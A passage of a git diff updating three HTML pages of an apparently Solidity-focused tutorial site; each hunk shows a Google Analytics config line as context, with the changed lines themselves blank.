b/variables/index.html index c5880a087..8339c943a 100644 --- a/variables/index.html +++ b/variables/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/view-and-pure-functions/index.html b/view-and-pure-functions/index.html index c5880a087..8339c943a 100644 --- a/view-and-pure-functions/index.html +++ b/view-and-pure-functions/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + + diff --git a/visibility/index.html b/visibility/index.html index c5880a087..8339c943a 100644 --- a/visibility/index.html +++ b/visibility/index.html @@ -28,8 +28,8 @@ gtag("config", "UA-133759045-1") - - + +